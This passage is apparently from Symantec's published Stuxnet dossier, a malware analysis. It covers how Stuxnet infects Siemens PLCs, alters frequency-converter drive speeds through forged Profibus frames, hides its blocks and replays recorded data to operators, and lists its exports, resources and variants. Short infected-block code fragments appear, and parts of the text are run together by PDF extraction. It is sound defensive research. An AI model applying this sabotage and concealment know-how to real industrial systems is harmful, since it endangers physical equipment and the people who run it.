for and counted: 7050h and 9500h. The SDB check passes if, and only if, the total number of values found isequal to or greater than 33. These appear to be Profibus identification numbers, which are required for all Profibus DP devices except Master Class 2 devices. Identification numbers are assigned to manufacturers by Profibus& Profinet International (PI) for each device type they manufacture. 7050h is assigned to part number KFC750V3
which appears to be a frequency converter drive (also known as variable frequency drive) manufactured by
Fararo Paya in Teheran, Iran. 9500h is assigned to Vacon NX frequency converter drives manufactured by Vacon
based in Finland.
Frequency converter drives are used to control the speed of another device, such as a motor. For example, if thefrequency is increased, the speed of the motor increases. Frequency converter drives are used in multiple industrial control industries including water systems, HVAC, gas pipelines, and other facilities.
Thus, the targeted system is using Profibus to communicate with at least 33 frequency converter drives from one
or both of the two manufacturers, where sequence A is chosen if more Vacon devices are present and sequence
B is chosen if more Fararo Paya devices are present.

DP_RECV replacement
DP_RECV is the name of a standard function block used by network coprocessors. It is used to receive network
frames on the Profibus – a standard industrial network bus used for distributed I/O. The original block is copied
to FC1869, and then replaced by a malicious block.
Figure 24
Each time the function is used to receive a packet,
OB1 before and after infection
the malicious Stuxnet block takes control: it will callthe original DP_RECV in FC1869 and then do postprocessing on the packet data.

OB1/OB35 infection
Stuxnet uses a simple code-prepending infection
technique to infect Organization Blocks. For example,
the following sequence of actions is performed when
OB1 is infected:• Increase the size of the original block.
• Write malicious code to the beginning of the block.
• Insert the original OB1 code after the malicious
code.
Figure 24 illustrates OB1 before and after infection.

Page 39

W32.Stuxnet Dossier

Security Response

Sequence blocks
Sequences A and B are extremely close and functionally equivalent. They consist of 17 blocks, the malicious
DP_RECV replacement block, as well as the infected OB1 and OB35 blocks. Figure 25 shows the connections
between the blocks.
Figure 25

Connections Between Blocks, Sequences A and B

Legend:• Arrows between two code blocks mean that a block calls or executes another block.
• The pink block represents the main block, called from the infected OB1.
• White blocks are standard Stuxnet code blocks.
• Yellow blocks are also Stuxnet blocks, but copied from the Simatic library of standard blocks. They execute common functions, such as timestamp comparison.
• Gray blocks are not part of Stuxnet; they’re system function blocks, part of the operating system running on the PLC. They’re used to execute systemtasks, such as reading the system clock (SFC1).
• Green blocks represent Stuxnet data blocks.

Note that block names are misleading (except for the yellow and gray blocks), in the sense that they do not reflect the real purpose of the block.
Sequences A and B intercept packets on the Profibus by using the DP_RECV hooking block. Based on the values
found in these blocks, other packets are generated and sent on the wire. This is controlled by a complex statemachine, implemented in the various code blocks that make the sequence. One can recognize an infected PLC ina clean environment by examining blocks OB1 and OB35. The infected OB1 starts with the following instructions,meant to start the infection sequence and potentially short-circuit OB1 execution on specific conditions:
UC
POP
L
==D
BEC
L
L

FC1865
DW#16#DEADF007
DW#16#0
DW#16#0

Page 40

W32.Stuxnet Dossier

Security Response

The infected OB35 starts with the following instructions, meant to short-circuit OB35 on specific conditions:
UC
POP
L
==D
BEC
L
L

FC1874
DW#16#DEADF007
DW#16#0
DW#16#0

The monitor threadThis secondary thread is used to monitor a data block DB890 of sequence A or B. Though constantly runningand probing this block (every 5 minutes), this thread has no purpose if the PLC is not infected. The purpose of
the thread is to monitor each S7-315 on the bus. When the sabotage routine is begun, the thread writes to theDB890 block of all the other S7-315s on the bus in order to have them begin the sabotage routine as well. This
thread causes the attack to begin almost simultaneously for all S7-315 devices on the same bus.

Behavior of a PLC infected by sequence A/B
Infection sequences A and B are very similar. Unless otherwise stated, what’s mentioned here applies to bothsequences.
• The infection code for a 315-2 is organized as follows:• The replaced DP_RECV block (later on referred to as the “DP_RECV monitor”) is meant to monitor data sentby the frequency converter drives to the 315-2 CPU via CP 342-5 Profibus communication modules.
• Up to 6 CP 342-5 Profibus communication modules are supported. Each is a master on its own Profibus
subnet with 31 frequency converter drives as slaves. The addresses of the CP 342-5 modules are recorded.
Note the 315-2 CPU documentation recommends no more than 4 CP 324-5 modules, but in theory can
support more, depending on CPU performance.
• Frames sent over Profibus are inspected. They are expected to have a specific format. Each frame shouldhave 31 records—one for each slave—of either 28 or 32 bytes as the format differs slightly for the two different frequency converter drives. Some fields are stored.
• The other blocks implement a state machine that controls the process. Transitions from state i to state i+1
are based on events, timers or task completions.
• In state 1 fields recorded by the DP_RECV monitor are examined to determine if the target system is in aparticular state of operation. When enough fields match simple criteria, a transition to state 2 occurs.
• In state 2 a timer is started. Transitioning to state 3 occurs after two hours have elapsed.
• In states 3 and 4, network frames are generated and sent on the Profibus to DP slaves. The contents of theseframes are semi-fixed, and partially depend on what has been recorded by the DP_RECV monitor.
• State 5 initiates a reset of various variables used by the infection sequence (not to be confused with a PLC
reset), before transitioning to state 1. Transitioning to state 0 may also occur in case of errors.
• In state 0, a 5-hour timer is started.
Figure 29 represents a simplified view of this state machine.
The normal path of execution is 1-2-3-4-5-1 – as shown by the solid, blue arrows in the diagram. Let’s detail what
happens during each state.
The initial state is 1 (circled in red). Transitioning to state 2 can take a fair amount of time. The code specificallymonitors for records within the frames sent from the frequency converter drives that contain the current operating frequency (speed of the device being controlled). This value is held at offset 0xC in each record in the frame
and is referred to as PD1 (parameter data 1). The frequency values can be represented in hertz (Hz) or decihertz(deciHz). The attackers expect the frequency drives to be running between 807 Hz and 1210 Hz. If PD1 has avalue greater than 1210, the code assumes the values being sent are represented in deciHertz and adjusts all
frequency values by a factor of 10. For example 10000 would be considered 10,000 deciHertz (1000.0 Hz) rather
than 10,000Hz. The routine that counts these records (here after referred to as events) is called once per minute.

Page 41

Security Response

W32.Stuxnet Dossier

Events are counted with a cap of 60 per minute. It seems that this is the optimal, expected rate of events. The
global event counter, initially set to 1,187,136, must reach 2,299,104 to initiate a transition to state 2. If we assume an optimal number of events set to 60 (the max could be 186, but remember the cap), the counting being
triggered every minute, the transition occurs after (2299104-1187136)/60 minutes, which is 12.8 days.
Transitioning from state 2 to 3 is a matter of waiting 2 hours.
Figure 26

State machine path of execution

In states 3 and 4 two network send bursts occur. The traffic generated is semi-fixed, and can be one of the twosequences. The sequences consist of multiple frames that each contain 31 records. Each frame is sent to each
CP 342-5 module, which passes on the respective record within the frame to each of the 31 frequency converter
drive slaves.
For infection sequence A (for Vacon frequency converters):• Sequence 1 consists of 147 frames:• 145 frames for sub-sequence 1a, sent during state 3.
• 2 frames for sub-sequence 1b, sent during state 4.
• Sequence 2 consisting of 163 frames:• 127 frames for sub-sequence 2a, sent during state 3.
• 36 frames for sub-sequence 2b, sent during state 4.
For infection sequence B (for Fararo Paya frequency converters):• Sequence 1 consists of 57 frames:• 34 frames for sub-sequence 1a, sent during state 3.
• 23 frames for sub-sequence 1b, sent during state 4.
• Sequence 2 consists of 59 frames:
Page 42

W32.Stuxnet Dossier

Security Response• 32 frames for sub-sequence 2a, sent during state 3.
• 27 frames for sub-sequence 2b, sent during state 4.
Transitioning from state 3 to state 4 takes 15 minutes for sequence 1 and 50 minutes for sequence 2.
The data in the frames are instructions for the frequency converter drives. For example one of the frames contains records that change the maximum frequency (the speed at which the motor will operate). The frequency
converter drives consist of parameters, which can be remotely configured via Profibus. One can write new values
to these parameters changing the behavior of the device. The values written to the devices can be found in Appendix C.
Of note, for sequence A, the maximum frequency is set to 1410 Hz in sequence 1a, then set to 2 Hz in sequence
2a, and then set to 1064 Hz in sequence 2b. Thus, the speed of the motor is changed from 1410Hz to 2Hz to1064Hz and then over again. Recall the normal operating frequency at this time is supposed to be between 807
Hz and 1210 Hz.
Thus, Stuxnet sabotages the system by slowing down or speeding up the motor to different rates at different
times.
When a network send (done through the DP_SEND primitive) error occurs, up to two more attempts to resend theframe will be made. Cases where a slave coprocessor is not started are also gracefully handled through the useof timers.
During states 3 and 4, the execution of the original code in OB1 and OB35 is temporarily halted by Stuxnet. Thisis likely used to prevent interference from the normal mode of operation while Stuxnet sends its own frames.
During processing of state 5, various fields are initialized before transitioning to state 1 and starting a new cycle.
The two major events are:
• The global event counter is reset (which was initially 1187136). This means that future transitions from state 1
to state 2 should take about 26.6 days.
• The DP_RECV monitor is reset. This means that the slave reconnaissance process is to take place again before
frame snooping occurs. (Incidentally, note that slave reconnaissance is forced every 5.5 hours.)
Transition to state 0 then occurs if an error was reported. “Error” in this context usually means that OB1 took too
long to execute (over 13 seconds). Otherwise, a regular transition to state 1 takes place.
It is worth mentioning that short-circuits, used to transition directly through states 0 and 1 to state 3, are designed to allow the sabotage routine to begin immediately. This occurs when another S7-315 on the same bus
has fulfilled the wait period. The Windows monitoring thread will modify DB890, setting a flag, causing the PLC
code to immediately begin the sabotage routine and to no longer wait the requisite time. This behavior synchronizes the sabotage routine across all 315s controlled by the same Windows system.
Let’s detail the purpose of the DP_RECV monitor and the subsequent frames sent during state 3 and 4. The code
expects a structure of 31 records of either 28 or 32 bytes (depending on which frequency drive is installed).
Here’s the header of such a record:
Offset Type
0
word
2
word
4
dword
8
word
10
word
12
word
…

Name
ID
Index (IND)
VALUE
ControlWord (CW)/StatusWord (SW)
Reference (REF)/Actual (ACT)Process Data 1 (PD1)

The monitor is especially interested in fields SW, ACT, and PD1. The following pieces of information are recorded:• Is the tenth bit in SW set? This specifies FieldBus Control is on (one can control the devices via Profibus).
• Is ACT a positive or negative integer? Positive represents a forward direction, while negative reverse direction.
Page 43

W32.Stuxnet Dossier

Security Response• The value of PD1, which is the output frequency (the current frequency/speed).
The other fields are ignored.
When reaching states 3 and 4, the original PLC code is halted and the malicious PLC code begins sending framesof data based on the recorded values during the DP_RECV monitor phase. The purpose of sending the frames is
to change the behavior of the frequency converter drives. First of all DP_SEND will send similar types of frames
as the ones that are expected to be received by DP_RECV (which means each frame will contain 31 records of 28
or 32 bytes—one record for each slave frequency converter drive). Each record sent changes a configuration,such as the maximum frequency on the frequency converter drive. The record fields will be set to zero, except for
the ID, Value, CW, and REF fields.
Table 6

ID Field Format
ID Byte 1
15

14

ID Byte 2
13

Request Type

12

11

10

9

8

7

SM

Parameter Number

6

5

4

3

2

1

0

• ID specifies the parameter to change. The format of the ID field is detailed in Table 6.
• VALUE contains the new value for the particular parameter. For frequency values, a factor of ten can be applied if the system was determined to be using deciHz units.
• CW (ControlWord) in sequence A is typically set to 47Fh, which means ‘Run’, but can start by sending 477h
(Stop by Coast) and finishes by using 4FFh (Fault Reset). CW in sequence B is set to 403h.
• REF can range from 100% to -100% represented by 10000 or -10000. This specifies the drive should be
operating at the maximum (100%) frequency either in a forward (positive 10000) or reverse (negative 10000)
direction. The previous direction, before the behavior of the frequency converter drives were hijacked, is maintained, but at 100% potentially with a new maximum frequency.
The parameters that aremodified and their values are
in Appendix C. To more clearly
illustrate the behavior of theinjected code, we’ve outlined
the key events that would
occur with an infected 315-2
CPU connected to multiple
CP 342-5 modules each with
31 frequency converter drive
slaves, as shown in the diagram below.

Figure 27

Connections between sequence blocks• The PLC is infected.
• Frequency converter slaves
send records to their CP342-5 master, building aframe of 31 records The
CPU records the CP-342-5
addresses.
• The frames are examined and the fields are recorded.
• After approximately 13 days, enough events have been recorded, showing the system has been operating
between 807 Hz and 1210 Hz.
• The infected PLC generates and sends sequence 1 to its frequency converter drives, setting the frequency to1410Hz.
• Normal operation resumes.
• After approximately 27 days, enough events have been recorded.
• The infected PLC generates and sends sequence 2 to its frequency converter drives, setting the frequency
Page 44

Security Response

W32.Stuxnet Dossier

initially to 2Hz and then 1064Hz.
• Normal operation resumes.
• After approximately 27 days, enough events have been recorded.
• The infected PLC generates and sends sequence 1 to its frequency converter drives, setting the frequency to1410Hz.
• Normal operation resumes.
• After approximately 27 days, enough events have been recorded.
• The infected PLC generates and sends sequence 2 to its frequency converter drives, setting the frequency
initially to 2Hz and then 1064Hz.
• …

Sequence C
Stuxnet has a second sabotage strategy targeting S7-417 PLCs. However, the routine is incomplete and the PLC
code, referred to as sequence C, is never purposefully copied onto a PLC or executed. While we can speculate the
PLC code injection was active at a previous time, sequence C itself appears unfinished, contains unimplemented
cases, unused code blocks, and test or debug code. This sequence is more complex than sequences A or B. It
contains more blocks of code and data (32), and also generates data blocks on-the-fly using specific SFC blocks.
The figure below represents sequence C.
Figure 28

Connections Between Blocks, Sequence C

Sequence C Injection
Stuxnet hooks the Step 7 write function, so that whenever someone updates code on the PLC, sequence C is copied to the PLC. However, because code for a single function in the DLL is missing, sequence C is never properly
activated.

Page 45

W32.Stuxnet Dossier

Security Response

The S7-417 PLC code-installation routine starts when an operator of the target system performs a write operation to a S7-417 PLC, such as updating code. The SDB7 is read and DB8061 (consisting of Stuxnet-specific data)is created based on the values in SDB7. However, due to the incomplete function in the DLL, DB8061 is never created and the data contained in DB8061 is unknown. In particular, the reference to the function exists, but whencalled, a Windows exception occurs. The exception is caught and execution resumes as if DB8061 was created.
Figure 29

Code where an exception is thrown.text:1000D947 68 70 C8 03 10 push.text:1000D94C 8D 45 FF		lea.text:1000D94F 50			
push.text:1000D950 E8 93 47 00 00 call.text:1000D950

offset unk _ 1003C870
eax, [ebp+var _ 1]eax
_ _ CxxThrowException@8

The blocks that compose sequence C are then written to the PLC, including the modifications of SDB0 and SDB4,
and OB80 is created as well, if it did not previously exist. OB80 is the time-event error interrupt and is called if
the maximum cycle time is exceeded. SDB0 is expected to contain records holding CPU configuration information. The block is parsed and a static 10-byte long record is inserted into the block. The purpose of this insertionis unknown. However, contrary to what happens with sequences A and B, no specific values are searched in theblock. Moreover, record 13 of SDB0 can be modified.
The creation timestamp of SDB0 is incremented, and this timestamp is replicated to a specific location in SDB4
for consistency. Sequence C is written and Stuxnet also makes sure an OB80 exists, or else creates an empty
one.
Later, the modification of OB1 (the entry point) that is needed to execute sequence C never occurs. The code tomodify OB1 requires the successful completion of the missing function and since the function throws an exception, OB1 is not modified and the remaining sequence C code blocks are never executed.
Even if OB1 is modified to execute sequence C, the missing (or an existing unrelated) DB8061 would cause
sequence C to operate improperly. Finally, even if OB1 was modified and DB8061 contained correct values,
unimplemented cases in sequence C would likely cause it to operate unexpectedly. Thus, sequence C appears
unfinished.
Stuxnet also hooks Step 7 to monitor for writes specifically to SDB7. When SDB7 is written, Stuxnet will modify
three bytes in DB8061. Thus, if DB8061 already exists coincidentally on the target PLC, three values will accidentally be modified, potentially corrupting the PLC operation.
The following provides a step-by-step summary of the failed injection process:1. Read SDB7
2. Attempt to generate DB8061, which fails
3. Modify SDB0, SDB4
4. Copy sequence C blocks to the PLC (do not overwrite existing
blocks)5. Create OB80 if it does not exist
6. Modify OB1 (does not occur)

Figure 30

Eight states in sequence C

Sequence C Behavior
The following describes the behavior of sequence C. However,these behaviors never happen due to the missing function in the
DLL. Sequence C consists of 40 blocks, 26 containing Stuxnet
code, 4 with standard code blocks, and 10 containing data.
Sequence C consists of a state machine with eight states.
DB8061 is critical to the operation of sequence C and because
DB8061 is missing, the exact behavior of sequence C is unknown.

Page 46

W32.Stuxnet Dossier

Security ResponseState 0: Wait

The code expects six groups of 164 peripherals. Based on knowledge from the S7-315 code, these could be six
cascades containing 164 centrifuges each. Stuxnet monitors the groups, and the sum of the activity times for allgroups must be greater than 297 days or for a single group greater than 35 days. In addition, all groups must be
active for at least three days.

State 1: Recording

DB8064 through DB8070 (seven blocks) are created and each contains three sub-blocks for a total of 21 subblocks. The input area of an I/O image is copied into each sub-block with a one second interval between copies,
forming a 21 second recording of the input area. The input area contains information being passed to the PLC
from a peripheral. (For example, the current state of a valve or the temperature of a device.)

State 2 - 6: Sabotage

When the peripheral output is written to, sequence C intercepts the output and ensures it is not written to theprocess image output. The output is the instructions the PLC sends to a device to change its operating behavior.
By intercepting the peripheral output, Stuxnet prevents an operator from noticing unauthorized commands sent
to the peripheral.
Each cascade of 164 peripherals is grouped into 15 clusters (0 – 14). Each cluster is affected, but not every centrifuge within a cluster is affected. The following table shows for each group how many peripherals within eachcluster are affected.
Table 7Affected peripherals within each cluster
ClusterNumber
Peripherals in
the Cluster
Peripheral
Number
Peripherals
affected

0

1

2

3

4

5

6

7

8

9

10

11

12

13

14

2

2

4

6

8

10

12

16

20

24

20

16

12

8

4

0-1

2-3

4-7

8-13

14-21

22-31

32-43

44-59

60-79

80103

104123124139140151152159160163

2

2

2

4

6

8

10

13

14

0

14

13

10

8

4

The particular peripherals within the clusters that are affected are pseudo-randomly chosen. For example, cluster 4 contains 8 peripherals (peripheral 14 to 21). According to the table, 6 out of 8 are affected. One peripheral
within the cluster is pseudo-randomly selected. Let’s say peripheral 20 is selected. Stuxnet will then sabotage
peripherals 20, 21, 14, 15, 16, and 17. If an error occurs when attempting to sabotage one of the peripherals, thenext one is selected. For example, if an error occurs when affecting peripheral 15, then peripherals 16, 17, andnow 18 would be targeted.
A total of 110 peripherals will be affected out of 164.
While this behavior occurs across the four states, state 3 takes place in two parts, with a two minute break in
between. The transition from state 5 to state 6 takes place after 2 minutes, 53 seconds.
State 6 is the state where the writing to the image/peripheral output takes place. This state lasts 6 minutes, 58
seconds.
How the peripherals are affected is unknown. Data is written to the image/peripheral output changing their
behavior, but the data to be written is within DB8061, which is missing.

State 7: Reset

The seven dynamically created data blocks (DB8064-DB8070) are deleted and many of the data values in thedata blocks are reset. State 7 can also be reached if any error occurs or if more than seven seconds elapses
between two OB1 cycles.
Page 47

Security Response

W32.Stuxnet Dossier

A return to state 1 will occur, resulting in a cycle consisting of waiting approximately 35 days, followed by a sevenminute attack phase.
Thus, while the clear intention of the S7-417 code is unknown, key bits may support the theory of a secondary
attack strategy on centrifuge systems within a cascade.

The rootkit
The Stuxnet PLC rootkit code is contained entirely in the fake s7otbxdx.dll. In order to achieve the aim of continuing to exist undetected on the PLC it needs to account for at least the following situations:• Read requests for its own malicious code blocks.
• Read requests for infected blocks (OB1, OB35, DP_RECV).
• Write requests that could overwrite Stuxnet’s own code.
Stuxnet contains code to monitor and intercept these types of request. The threat modifies these requests sothat Stuxnet’s PLC code is not discovered or damaged. The following list gives some examples of how Stuxnet
uses the hooked exports to handle these situations:• s7blk_read
Used to read a block, is monitored so that Stuxnet returns:• The original DP_RECV (kept as FC1869) if DP_RECV is requested.
• An error if the request regards one of its own malicious blocks.
• A cleaned version (disinfected on the fly) copy of OB1 or OB35 if such a block is requested.
• s7blk_write
Used to write a block, is also monitored:• Requests to OB1/OB35 are modified so that the new version of the block is infected before it’s written.
• Requests to write DP_RECV are also monitored. The first time such a request is issued, the block will be written to FC1869 instead of DP_RECV. Next time an error will be raised (since these system blocks are usually
written only once).
• Also note that the injection of sequence C takes place through a s7blk_write operation. Exact conditions are
not determined.
• s7blk_findfirst and s7blk_findnext
Used to enumerate blocks of a PLC. Stuxnet will hide its own blocks by skipping them voluntarily during an
enumeration. Note that Stuxnet recognizes its own blocks by checking a specific value it sets in a block header.
• s7blk_delete
Used to delete blocks, is monitored carefully:• Requests to delete a SDB may result in PLC disinfection.
• Requests to delete OB are also monitored. It seems the blocks are not necessarily deleted. They could be infected. For instance, deletion of OB80 (used to handle asynchronous error interrupts) can result in an empty
OB80 being written.

Other export hooks
Other exports are hooked to achieve other functions, including PLC information gathering, others remaining
quite obscure at the time of writing:• s7db_open and s7db_close
Used to obtain information used to create handles to manage a PLC (such a handle is used by APIs that manipulate the PLC).
• s7ag_read_szl
Used to query PLC information, through a combination of an ID and an index (it can be used for instance to get
the PLC type.) The export modifies the API’s return information if it’s called with specific ID=27, index=0.
• s7_event
The purpose of the original API is unknown. The export can modify block DB8062 of sequence C.
• s7ag_test• s7ag_link_in• s7ag_bub_cycl_read_create

Page 48

Security Response

W32.Stuxnet Dossier• s7ag_bub_read_var• s7ag_bub_write_var• s7ag_bub_read_var_seg• s7ag_bub_write_var_seg
Stuxnet records the previous operating frequencies for the frequency controllers. This data is played back to
WinCC through these hooked functions during the sabotage routines. Thus, instead of the monitoring systems
receiving the anomalous operating frequency data, the monitoring systems believe the frequency converters areoperating as normal.
In addition, OB35 is infected as previously described. When the sabotage routine occurs, OB35 prevents theoriginal OB35 code from executing. Assuming the original OB35 code initiates a graceful shutdown during catastrophic events, even if the operators realize the system is operating abnormally, they will not be able to safely
shutdown the system.
Interestingly, OB35 uses a magic marker value of 0xDEADF007 (possibly to mean Dead Fool or Dead Foot – aterm used when an airplane engine fails) to specify when the routine has reached its final state.

Page 49

Security Response

W32.Stuxnet Dossier

Payload Exports
Export 1
Starts removable drive infection routine as described in the Removable Drive Propagation section. Also starts
the RPC server described in the Peer-to-Peer Communication section.

Export 2
Hooks APIs as described in the Step 7 Project File Infections section.

Export 4
Initialization for export 18, which removes Stuxnet from the system.

Export 5
Checks if MrxCls.sys installed. The purpose of MrxCls.sys is described in the Load Point section.

Export 6
Export 6 is a function to return the version number of the threat read from the configuration data block. The version information is stored in the configuration data block at offset 10h.

Export 7
Export 7 simply jumps to export 6.

Export 9
Executes possibly new versions of Stuxnet from infected Step 7 projects as described in the Step 7 Project File
Infections section.

Export 10
Executes possibly new versions of Stuxnet from infected Step 7 projects as described in the Step 7 Project File
Infections section.

Export 14
Main wrapper function for Step 7 project file infections as described in the Step 7 Project File Infections section.

Export 15
Initial entry point described in the Installation section.

Export 16
Main installation routine described in the Installation section.

Export 17
Replaces a Step 7 DLL to infect PLCs as described in the Sabotaging PLCs section.

Page 50

Security Response

W32.Stuxnet Dossier

Export 18
Removes Stuxnet from the system by deleting the following files:
1. Malicious Step 7 DLL
2. Driver files MrxCls.sys and MrxNet.sys
3. oem7A.PNF
4. mdmeric3.pnf
5. mdmcpq3.pnf (Stuxnet’s configuration file)

Export 19
Removable drive infecting routine as described in the Removable Drive Propagation section.

Export 22
Contains all the network spreading routines described in the Network Spreading Routines section.

Export 24
Checks if the system is connected to the Internet. Performs a DNS query on two benign domains in the configuration data (by default windowsupdate.com and msn.com) and updates the configuration data with the status.

Export 27
Contains part of the code for the RPC server described in the Peer-to-Peer Communication section.

Export 28
Contains command and control server functionality described in the Command and Control section.

Export 29
Contains command and control server functionality described in the Command and Control section.

Export 31
Executes possibly new versions of Stuxnet from infected Step 7 projects as described in the Step 7 Project File
Infections section.

Export 32
The same as export 1, except it does not check for an event signal before calling the removable drive spreadingroutines and the RPC server code. This export is described in the Removable Drive Propagation section.

Payload Resources
The exports above need to load other files/templates/data to perform their tasks. All of these files are stored in
the resources section of the main .dll file. The function of each resource is discussed in detail here.

Resource 201
Windows rootkit MrxNet.sys driver signed by a compromised Realtek signature described in the Windows Rootkit
Functionality section.

Resource 202
The DLL used in Step 7 project infections as described in the Step 7 Project File Infections section.

Page 51

Security Response

W32.Stuxnet Dossier

Resource 203
CAB file, contains a DLL very similar to resource 202 that is added to WinCC project directories (as described in
Step 7 Project File Infections) and then loaded and executed through SQL statements as described in the Infecting WinCC Machines section.

Resource 205
Encoded configuration file for the load point driver (MrxCls.sys) that is added to the registry. The file specifies
what process should be injected and with what, which is described in the Load Point section.

Resource 207
Stuxnet appended with autorun.inf information. Only in previous variants of Stuxnet.

Resource 208
Step 7 replacement DLL used in infecting PLCs as described in the Sabotaging PLCs section.

Resource 209
25 bytes long data file created in %Windir%\help\winmic.fts

Resource 210
Template PE file used by many exports when creating or injecting executables.

Resource 221
This resource file contains the code to exploit the Microsoft Windows Server Service Vulnerability - MS08-067 as
described in the MS08-067 Windows Server Service vulnerability section.

Resource 222
This resource file contains the code to exploit the Microsoft Windows Print Spooler Vulnerability – MS10-067 as
described in the MS10-061 Print Spooler Zero day vulnerability section.

Resource 231
Checks if the system is connected to the Internet. This resource is only in previous variants of Stuxnet.

Resource 240
Used to build unique .lnk files depending on drives inserted as described in the Removable Drive Propagation
section.

Resource 241
The file WTR4141.tmp signed by Realtek and described in the Removable Drive Propagation section.

Resource 242
Mrxnet.sys rootkit file signed by Realtek.

Resource 250
0-day exploit code that results in an escalation of privilege due to the vulnerability in win32k.sys. Details aredescribed in the Windows Win32k.sys Local Privilege Escalation vulnerability (MS10-073) section.
Page 52

W32.Stuxnet Dossier

Security Response

Variants
Out of 3,280 collected samples, three distinct variants have been identified. They have compile times of:• Mon Jun 22 16:31:47 2009
• Mon Mar 01 05:52:35 2010
• Wed Apr 14 10:56:22 2010
A fourth variant is likely to exist as a driver file, signed with the JMicron digital certificate that was found, but thevariant dropping this driver has yet to be recovered.
This document primarily concentrates on the March 2010 variant. The April 2010 variant only differs very slightly
from the March 2010 variant. (For example, increasing the date at which USB spreading stops.) However, theJune 2009 has significant differences from the March and April 2010 samples. The compile times appear accurate based on the infection times seen for each sample. A version number contained within the binary also
corresponds to this chronology.
Table 8Comparison of Resources
March 2010
Resource ID Size

June 2009
Resource ID Size

201

26,616201

19,840202

14,848202

14,336

203

5,237

205

433

205

323

207

520,192

208

298,000

208

298,000

209

25

209

25

210

9,728

210

9,728

221

145,920221

145,920

222

102,400

222

102,400

231

10,752

240

4,171

241

25,720242

17,400250

40,960As discussed in the Stuxnet Architecture section, Stuxnet segregates its functionality via embedded resources.
The newer variants have more resources, but are smaller in size. Shown below are the resources for both types
shown side by side.
The resources in green were added in the latest version, the resources in red were removed from the older version, and the rest of the resources are constant between both old and new samples.
The reason for the difference in size is that Resource ID 207 is absent from the newer versions. Resource 207 is
520kB, so although more resources were added in newer versions of Stuxnet, the sum total of the new resource
sizes is less than 520kB.
The difference in functionality between the June 2009 variant and the March and April 2010 variants is summarized below.
Many of the components are actually identical or are close to identical, having the same functionality with slightdifferences in the code.
Page 53

W32.Stuxnet Dossier

Security Response

Table 12

Description of Components
Component

June 2009

March 2010

201

Mrxcls.sys rootkit file

Unsigned

202

Fake Siemens DLL

203

DLL inside a .cab file

205

Data file207

Large Component

208

Wrapper for s7otbldx.dll

209

Data file

210

Loader .dll calls payload

221

Network Explorer

Identical

222

Network Explorer

Identical

231

Internet Connect .dll

Moved to main module

240

Link File Template

New

241

USB Loader Template

New

242

Mrxnet.sys rootkit file

New

250

Keyboard Hook & Injector

New

SignedSame Version info but recompiled
New

Moved to 250
Almost identical
Identical
Almost identical

Red = resource removed, green = resource added.

Resources 240, 241, and 242 represent the most significant additions between June 2009 and March 2010.
These resources exploit the Microsoft Windows Shortcut ‘LNK’ Files Automatic File Execution Vulnerability (BID
41732) and implement the Windows rootkit to hide files on USB drives.
The June 2009 variant also contained code that was removed in the March 2010 variants. In particular, the June2009 variants supported Windows 9x and also used autorun.inf to spread on removal drives, instead of the LNK
exploit.
Resource 207 and 231 were dropped from the newer version of Stuxnet. Resource 231 was used to communicate
with the control servers and has the C&C server names stored in plain text within the file. The newer versionof Stuxnet has moved the Internet connection functionality inside the main payload .dll file and has moved the
URLs from inside resource 231 to the installer component, and the URLs are crudely obfuscated. This gives theattacker the distinct advantage of updating the configuration of each sample without having to rebuild the entire
package with a new resource inside.
Resource 207 has also been removed but at least part of its functionality has been retained. Resource 250 contains code that previously resided inside resource 207, although as you can see from the sizes that resource 250
is much smaller, so some of the functionality of resource 207 has been removed.
Of the more than 3000
samples recovered, almost
all are 2010 variants. A
very small percentage ofthe samples are the 2009variant. The 2009 variant
may have spread more
slowly and infected far
fewer computers, or thelate discovery may havemeant infections were
either replaced with newer
versions or remediated.

Figure 31

Stuxnet Variants

Page 54

Security Response

W32.Stuxnet Dossier

Summary
Stuxnet represents the first of many milestones in malicious code history – it is the first to exploit four 0-day
vulnerabilities, compromise two digital certificates, and inject code into industrial control systems and hide thecode from the operator. Whether Stuxnet will usher in a new generation of malicious code attacks towards realworld infrastructure—overshadowing the vast majority of current attacks affecting more virtual or individual
assets—or if it is a once- in-a-decade occurrence remains to be seen.
Stuxnet is of such great complexity—requiring significant resources to develop—that few attackers will becapable of producing a similar threat, to such an extent that we would not expect masses of threats of similar
in sophistication to suddenly appear. However, Stuxnet has highlighted direct-attack attempts on critical infrastructure are possible and not just theory or movie plotlines.
The real-world implications of Stuxnet are beyond any threat we have seen in the past. Despite the exciting challenge in reverse engineering Stuxnet and understanding its purpose, Stuxnet is the type of threat we hope tonever see again.

Page 55

W32.Stuxnet Dossier

Security Response

Appendix A
Table 13

Configuration Data
OffsetType

Description

+0

Dword

Magic

+4

Dword

Header size

+8

Dword

Validation value

+C

Dword

Block size

+10

Dword

Sequence number

+20

Dword

Performance Info

+24

Dword

Pointer to Global Config Data

+30

Dword

Milliseconds to Wait

+34

Dword

Flag

+40

Dword

Pointer to Global Config Data

+44

Dword

Pointer to Global Config Data

+48

Dword

Pointer to Global Config Data

+58

Dword

Buffer size

+5c

Dword

Buffer size

+60

Dword

Buffer size

+64

Dword

Buffer size

+68

Dword

Flag

+6c

Dword

Flag, if 0, check +70 (if 1, infect USB without timestamp check)

+70

Dword

Flag, after checking +6C, if 0, check +78 date

+78

Dword

lowdatetime (timestamp before infecting USB)

+7C

Dword

highdatetime

+80

Dword

number of files that must be on the USB key (default 3)

+88

Dword

Must be below 80h

+84

Dword

Number of Bytes on disk needed - 5Mb

+8c

Qword

Setup deadline (Jun 24 2012)

+98

Dword

Flag

+9c

Dword

Flag

+A4

Qword

Timestamp (start of infection – e.g., 21 days after this time USB infection will stop)

+AC

Dword

Sleep milliseconds

+b0

Dword

Flag

+B4

Qword

Timestamp

+c4

Dword

Time stamp

+c8

Dword

Flag (if 0, infect USB drive, otherwise, uninfect USB drive)+cc

Char[80h]

Good domain 1 – windowsupdate.com+14c

Char[80h]

Good domain 2 – msn.com+1cc

Char[80h]

Command and control server 1+24c

Char[80h]

URL for C&C server 1 - index.php+2cc

Char[80h]

Command and control server 2+34c

Char[80h]

URL for C&C server 2- index.php

Page 56

W32.Stuxnet Dossier

Security Response

Table 13

Configuration Data
OffsetType

Description

+3cc

Dword

Flag

+3ec

Dword

Wait time in milliseconds

+3f0

Dword

Flag - connectivity check

+3f4

Dword

HighDateTime

+3f8

Dword

LowDateTime

+3d4

Dword

TickCount (hours)

+414

Dword

TickCount milliseconds+418

Char[80h]

Step7 project path

+498

Dword

pointer to global config

+49c

Dword

pointer to global config

+4a0

Dword

Counter

+59c

Dword

Flag - 0

+5a0

Dword

TickCount Check

+5AC

Dword

TickCount Check+5b4

PropagationData

block 2+5f0

PropagationData

block 5+62c

PropagationData

block 4

